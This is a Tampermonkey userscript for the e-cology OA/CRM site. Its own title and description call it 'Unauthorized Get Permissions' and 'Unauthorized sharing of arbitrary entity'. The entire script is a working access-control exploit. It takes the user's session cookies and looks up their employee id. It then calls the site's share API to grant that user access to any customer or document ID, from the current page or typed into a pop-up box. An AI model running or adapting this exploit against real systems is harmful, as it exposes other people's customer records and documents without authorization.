☰

e-cology Unauthorized Get Permissions

Unauthorized sharing of arbitrary entity

  1. // ==UserScript==
  2. // @name         e-cology Unauthorized Get Permissions
  3. // @namespace    http://tampermonkey.net/
  4. // @version      0.5
  5. // @description  Unauthorized sharing of arbitrary entity
  6. // @author       Douglas Lee
  7. // @license      MIT
  8. // @match        https://www.e-cology.com.cn/*
  9. // @grant        GM_xmlhttpRequest
  10. // @grant        GM_getValue
  11. // @grant        GM_setValue
  12. // @grant        GM_cookie
  13. // @grant        GM_addStyle
  14. // @run-at       document-end
  15. // @connect      www.e-cology.com.cn
  16. // ==/UserScript==
  17.  
  18. (function() {
  19.     'use strict';
  20.  
  21.     let urlPatterns = [
  22.         /customerViewPage\/(\d+)__targetId=/,
  23.         /docDetail\/(\d+)$/
  24.     ];
  25.  
  26.     let entityIds = '';
  27.     for (let pattern of urlPatterns) {
  28.         let match = window.location.href.match(pattern);
  29.         if (match) {
  30.             entityIds = match[1];
  31.             break;
  32.         }
  33.     }
  34.  
  35.     function getSid(callback) {
  36.         GM_cookie('list', { url: 'https://www.e-cology.com.cn/' }, function(cookies) {
  37.             let cookieString = cookies.map(cookie => `${cookie.name}=${cookie.value}`).join('; ');
  38.  
  39.             GM_xmlhttpRequest({
  40.                 method: "GET",
  41.                 url: "https://www.e-cology.com.cn/api/hrm/card/getCurrentSimpleEmployee",
  42.                 headers: {
  43.                     "Content-Type": "application/json;charset=UTF-8",
  44.                     "Cookie": cookieString,
  45.                     "Accept": "application/json, text/plain, */*"
  46.                 },
  47.                 onload: function(response) {
  48.                     let jsonResponse = JSON.parse(response.responseText);
  49.                     if (jsonResponse && jsonResponse.data && jsonResponse.data.id) {
  50.                         callback(jsonResponse.data.id);
  51.                     }
  52.                 }
  53.             });
  54.         });
  55.     }
  56.  
  57.     window.getPermissions = function(entityIds) {
  58.         getSid(function(sid) {
  59.             GM_cookie('list', { url: 'https://www.e-cology.com.cn/' }, function(cookies) {
  60.                 let cookieString = cookies.map(cookie => `${cookie.name}=${cookie.value}`).join('; ');
  61.  
  62.                 let data = {
  63.                     "departmentIds": "",
  64.                     "entityIds": entityIds,
  65.                     "groupIds": "",
  66.                     "module": "customer",
  67.                     "shareType": "sharer",
  68.                     "sids": `${sid},`
  69.                 };
  70.  
  71.                 GM_xmlhttpRequest({
  72.                     method: "POST",
  73.                     url: "https://www.e-cology.com.cn/api/crm/common/share/shareAll.common",
  74.                     headers: {
  75.                         "Content-Type": "application/json;charset=UTF-8",
  76.                         "Cookie": cookieString,
  77.                         "Accept": "application/json, text/plain, */*"
  78.                     },
  79.                     data: JSON.stringify(data),
  80.                     onload: function(response) {
  81.                         location.reload();
  82.                     },
  83.                     onerror: function(error) {
  84.                         alert('An error occurred: ' + error.statusText);
  85.                     }
  86.                 });
  87.             });
  88.         });
  89.     };
  90.  
  91.     // 添加浮动按钮
  92.     let button = document.createElement('button');
  93.     button.innerHTML = 'get Permissions';
  94.     button.style.position = 'fixed';
  95.     button.style.right = '10px';
  96.     button.style.bottom = '50px';
  97.     button.style.zIndex = '1000';
  98.     button.style.backgroundColor = '#4CAF50';
  99.     button.style.color = 'white';
  100.     button.style.border = 'none';
  101.     button.style.padding = '10px';
  102.     button.style.cursor = 'pointer';
  103.     document.body.appendChild(button);
  104.  
  105.     // 创建弹出框
  106.     let modal = document.createElement('div');
  107.     modal.style.display = 'none';
  108.     modal.style.position = 'fixed';
  109.     modal.style.right = '10px';
  110.     modal.style.bottom = '50px';
  111.     modal.style.zIndex = '1000';
  112.     modal.style.backgroundColor = 'white';
  113.     modal.style.padding = '20px';
  114.     modal.style.boxShadow = '0px 0px 10px rgba(0, 0, 0, 0.1)';
  115.     document.body.appendChild(modal);
  116.  
  117.     let entityIdsInput = document.createElement('input');
  118.     entityIdsInput.placeholder = 'Enter entityIds';
  119.     entityIdsInput.style.width = '100%';
  120.     entityIdsInput.style.marginBottom = '10px';
  121.     modal.appendChild(entityIdsInput);
  122.  
  123.     let submitButton = document.createElement('button');
  124.     submitButton.innerHTML = 'Get Permissions';
  125.     submitButton.style.backgroundColor = '#008CBA';
  126.     submitButton.style.color = 'white';
  127.     submitButton.style.border = 'none';
  128.     submitButton.style.padding = '10px';
  129.     submitButton.style.cursor = 'pointer';
  130.     modal.appendChild(submitButton);
  131.  
  132.     // 显示/隐藏弹出框
  133.     button.addEventListener('click', function(event) {
  134.         event.preventDefault();
  135.         event.stopPropagation();
  136.         if (entityIds) {
  137.             window.getPermissions(entityIds);
  138.         } else {
  139.             // 如果未匹配到URL，则展开弹出框
  140.             modal.style.display = modal.style.display === 'none' ? 'block' : 'none';
  141.         }
  142.     });
  143.  
  144.     // 发送POST请求
  145.     submitButton.addEventListener('click', function(event) {
  146.         event.preventDefault();
  147.         event.stopPropagation();
  148.         entityIds = entityIdsInput.value;
  149.         window.getPermissions(entityIds);
  150.     });
  151. })();